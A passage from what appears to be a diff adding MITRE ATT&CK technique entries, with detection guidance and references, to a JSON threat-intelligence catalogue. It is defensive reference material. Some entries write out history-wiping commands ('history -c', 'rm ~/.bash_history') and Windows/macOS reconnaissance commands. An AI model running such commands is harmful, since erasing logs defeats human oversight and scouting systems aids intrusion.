"https://attack.mitre.org/wiki/Technique/T1077", + "http://support.microsoft.com/kb/314984", + "https://technet.microsoft.com/en-us/library/cc787851.aspx", + "https://en.wikipedia.org/wiki/Server%20Message%20Block", + "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx", + "https://technet.microsoft.com/bb490717.aspx", + "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx" + ], + "uuid": "ffe742ed-9100-4686-9e00-c331da544787" + }, + "value": "Windows Admin Shares" + }, + { + "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Authentication logs, File monitoring", + "meta": { + "mitre_data_sources": [ + "Authentication logs", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1146" + ], + "uuid": "b344346f-1321-4639-abd0-df3c95f1c0b0" + }, + "value": "Clear Command History" + }, + { + "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors.[[Citation: F-Secure Cosmicduke]]\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring", + "meta": { + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1024", + "https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf" + ], + "uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + "value": "Custom Cryptographic Protocol" + }, + { + "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Packet capture", + "Process use of network", + "Netflow/Enclave netflow", + "Network protocol analysis", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1105", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + "value": "Remote File Copy" + }, + { + "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping.Valid Accounts for more information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1081", + "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html", + "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx" + ], + "uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + "value": "Credentials in Files" + }, + { + "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.[[Citation: Wikipedia Root Certificate]] Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.[[Citation: Operation Emmental]]\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications.[[Citation: Kaspersky Superfish]]\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nContributors: Itzik Kotler, SafeBreach", + "meta": { + "mitre_data_sources": [ + "SSL/TLS inspection", + "Digital Certificate Logs" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1130", + "https://en.wikipedia.org/wiki/Root%20certificate", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", + "https://usblog.kaspersky.com/superfish-adware-preinstalled-on-lenovo-laptops/5161/" + ], + "uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1" + }, + "value": "Install Root Certificate" + }, + { + "description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.[[Citation: SANS Decrypting SSL]] SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.[[Citation: SEI SSL Inspection Risks]]\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection", + "meta": { + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Malware reverse engineering", + "Process use of network", + "Process monitoring", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1032", + "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf", + "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" + ], + "uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + "value": "Standard Cryptographic Protocol" + }, + { + "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring", + "meta": { + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1043", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + "value": "Commonly Used Port" + }, + { + "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to [[Command and Control]] and possible network [[Discovery]] techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1080" + ], + "uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c" + }, + "value": "Taint Shared Content" + }, + { + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10", + "meta": { + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1120" + ], + "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + "value": "Peripheral Device Discovery" + }, + { + "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are net group /domain and net localgroup using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1069" + ], + "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + "value": "Permission Groups Discovery" + }, + { + "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.[[Citation: TechNet Netsh]] The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another [[Persistence]] technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe.[[Citation: Demaske Netsh Persistence]]\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs.[[Citation: Github Netsh Helper CS Beacon]]\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.[[Citation: Demaske Netsh Persistence]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Process monitoring\n\nContributors: Matthew Demaske, Adaptforward", + "meta": { + "mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1128", + "https://technet.microsoft.com/library/bb490939.aspx", + "https://github.com/outflankbv/NetshHelperBeacon", + "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html" + ], + "uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2" + }, + "value": "Netsh Helper DLL" + }, + { + "description": "Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.\n\nDetection: Monitor for changes to registry entries in HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values.[[Citation: TechNet Autoruns]] New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through [[Discovery]], and [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows XP, Windows Server 2003 R2\n\nData Sources: Windows Registry, File monitoring, Process monitoring", + "meta": { + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows XP", + "Windows Server 2003 R2" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1004", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ], + "uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79" + }, + "value": "Winlogon Helper DLL" + }, + { + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n===Windows===\n\nExample commands and utilities that obtain this information include ver, Systeminfo, and dir within cmd for identifying information based on present files and directories.\n\n===Mac===\n\nOn Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1082" + ], + "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + "value": "System Information Discovery" + }, + { + "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol.Net can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2012, Windows Server 2008 R2, Windows Server 2012 R2, Windows Server 2003, Windows Server 2008, Windows XP, Windows Server 2003 R2, Windows Vista, MacOS, OS X\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network", + "meta": { + "mitre_data_sources": [ + "Process Monitoring", + "Process command-line parameters", + "Network protocol analysis", + "Process use of network" + ], + "mitre_platforms": [ + "Windows 10", + "Windows 7", + "Windows 8", + "Windows 8.1", + "Windows Server 2012", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Server 2003", + "Windows Server 2008", + "Windows XP", + "Windows Server 2003 R2", + "Windows Vista", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1135", + "https://en.wikipedia.org/wiki/Shared%20resource", + "https://technet.microsoft.com/library/cc770880.aspx" + ], + "uuid": "68cc93f6-58ca-413b-92ae-2d0a65ed6e52" + }, + "value": "Network Share Discovery" + }, + { + "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Accessibility Features technique for [[Persistence]].[[Citation: Alperovitch Malware]]\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring", + "meta": { + "mitre_data_sources": [ + "Authentication logs", + "Netflow/Enclave netflow", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1076", + "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx", + "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/" + ], + "uuid": "51dea151-0898-4a45-967c-3ebee0420484" + }, + "value": "Remote Desktop Protocol" + }, + { + "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Net.\n\n===Mac===\n\nSpecific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: Network protocol analysis, Process monitoring, Process use of network, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "Network protocol analysis", + "Process monitoring", + "Process use of network", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1018" + ], + "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + "value": "Remote System Discovery" + }, + { + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1063" + ], + "uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + "value": "Security Software Discovery" + }, + { + "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using Tasklist, and \"net start\" using Net, but adversaries may also use other tools as well.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1007" + ], + "uuid": "322bad5a-1c49-4d23-ab79-76d641794afa" + }, + "value": "System Service Discovery" + }, + { + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing 